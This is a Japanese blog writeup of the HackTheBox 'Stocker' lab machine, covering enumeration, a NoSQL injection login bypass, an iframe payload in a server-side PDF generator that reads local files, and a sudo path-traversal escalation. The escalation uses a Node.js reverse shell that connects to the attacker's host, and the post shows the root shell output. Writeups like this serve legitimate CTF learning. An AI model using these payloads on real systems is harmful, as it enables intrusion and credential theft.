📖

HackTheBox Stocker Writeup

2023/09/25に公開

はじめに

2023年6月にHacktheBoxでHacker到達し、現在はTryHackMeで修行中です。

Writeup

RHOST:10.129.75.214
LHOST:10.10.14.35

Enumeration

いつも通りnmapかけるところからスタート。

nmap -sC -sV -oA all -vv -p- $IP

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
|   256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_  256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

22と80が開いているので、これもいつも通りWebから調査します。

今回はHackTheBoxによくある、IPアドレスとドメインが紐づいていないパターンなので、/etc/hostsを書き換えてあげるとWebページが正常に表示されます。

kali:~/h/Stocker (master) λ sudo nvim /etc/hosts
# 一番下に追加してあげる
10.129.75.214 stocker.htb

これまたいつも通り、Web探索前にディレクトリとサブドメインをツールで探しておきます。

kali:~/h/Stocker (master) λ wfuzz -u http://stocker.htb/FUZZ -w /usr/share/dirb/wordlists/common.txt --hc 404
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://stocker.htb/FUZZ
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000001:   200        321 L    1360 W     15463 Ch    "http://stocker.htb/"
000001114:   301        7 L      12 W       178 Ch      "css"
000001575:   200        0 L      4 W        1150 Ch     "favicon.ico"
000001648:   301        7 L      12 W       178 Ch      "fonts"
000001998:   301        7 L      12 W       178 Ch      "img"
000002020:   200        321 L    1360 W     15463 Ch    "index.html"
000002179:   301        7 L      12 W       178 Ch      "js"

Total time: 40.09586
Processed Requests: 4614
Filtered Requests: 4607
Requests/sec.: 115.0742

kali:~/h/Stocker (master) λ wfuzz -u http://stocker.htb -H "Host: FUZZ.stocker.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hc 301
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://stocker.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000019:   302        0 L      4 W        28 Ch       "dev"
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 0
Processed Requests: 1363
Filtered Requests: 1362
Requests/sec.: 0

サブディレクトリでは面白いものが見つかりませんでしたが、サブドメインが見つかったのでhostsファイルに追記します。

kali:~/h/Stocker (master) λ sudo nvim /etc/hosts

10.129.75.214	stocker.htb dev.stocker.htb

dev.stocker.htb なので、開発環境と思われます。通常のページはまだ完成していないっぽいことが書いてあるので、こちらを探索するのが良さそう。

情報ありそうです。

アクセスするとログイン画面にリダイレクトします。

SQL injectionやhydraはダメそうなのでいろいろ試してみると、http://dev.stocker.htb/login/index.php にアクセスしたときにmongooseが使われていることが分かった。

mongooseはMongoDB用のnpmモジュールで、Node.jsが使われていることが分かった。

MongoDBはNoSQLということで、NoSQL-injectionを試してみる。
https://book.hacktricks.xyz/pentesting-web/nosql-injection

BurpでログインリクエストをInterceptしてパラメータを以下に変更する

Header:
Content-Type: application/json
Body:
{"username": {"$ne": null}, "password": {"$ne": null} }

そうするとログイン成功してhttp://dev.stocker.htb/stockに遷移した。

Foothold

商品をバスケットに入れ、カートに入れ、購入を押すと領収書がPDFで発行された。PDFはdynamicで作成されているとのことなので、XSS脆弱性を攻撃してiframeを用いたLFIを実行してみる。
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf

{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=file:///etc/passwd width=1000 height=1000></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}

/etc/passwdがPDFに表示されて漏洩に成功した。angooseというユーザーは/bin/bashの権限を持っているぽい。

あとはSSHのパスワードか秘密鍵があればSSH接続することができる。

引き続きパラメータ変えて色々見てみると、var/www/dev/index.js でmongodb用の認証情報としてdevのパスワードが見つかる。おそらくパスワードを使いまわしているだろうと予想してSSHへ。

┌─[sg-dedivip-1][10.10.14.35][kali@htb-jltv1qxlwz][~]
└──╼ []$ ssh angoose@10.129.75.214
The authenticity of host '10.129.75.214 (10.129.75.214)' can't be established.
ECDSA key fingerprint is SHA256:DX/9+PB1w20dghcXwm9QPFH88qM0aiPr+RyA+wzHnng.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.75.214' (ECDSA) to the list of known hosts.
angoose@10.129.75.214's password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

angoose@stocker:~$ ls
user.txt
angoose@stocker:~$ cat user.txt

無事接続でき、userflagゲット。

Privilege Escalation

とりあえずいつも通りやることやる。

angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

/usr/bin/node /usr/local/scripts/*.js は気になる。

../ を使ってどこでもJSファイルをRootとして実行できるので、NodeJS用のPayloadを含んだJSファイルを作る。

PayloadはPayloadsAllTheThingsから。
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#nodejs

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(9001, "10.10.14.35", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();

攻撃PCでリスニングする

┌─[sg-dedivip-1][10.10.14.35][htb@htb-jltv1qxlwz][~]
└──╼ []$ nc -lvnp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001

その後、ペイロードを実行する。

angoose@stocker:~$ vi exploit.js
angoose@stocker:~$ cp exploit.js /tmp/exploit.js
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/exploit.js
[sg-dedivip-1][10.10.14.35][htb@htb-jltv1qxlwz][~]
└──╼ []$ nc -lvnp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.75.214.
Ncat: Connection from 10.129.75.214:33138.
whoami
root
ls
exploit.js
user.txt
cd ~
ls
root.txt
cat root.txt

whoamiでroot奪取できたのがわかる。

おわりに

Injectよりも個人的には簡単でした。
No-SQLinjectionはこの時始めて知ったけど解くことができた。これまでは知っていないと解けない用に思っていたけど、Machine解きながら勉強していく力のほうが大事かもしれないと思った。

Discussion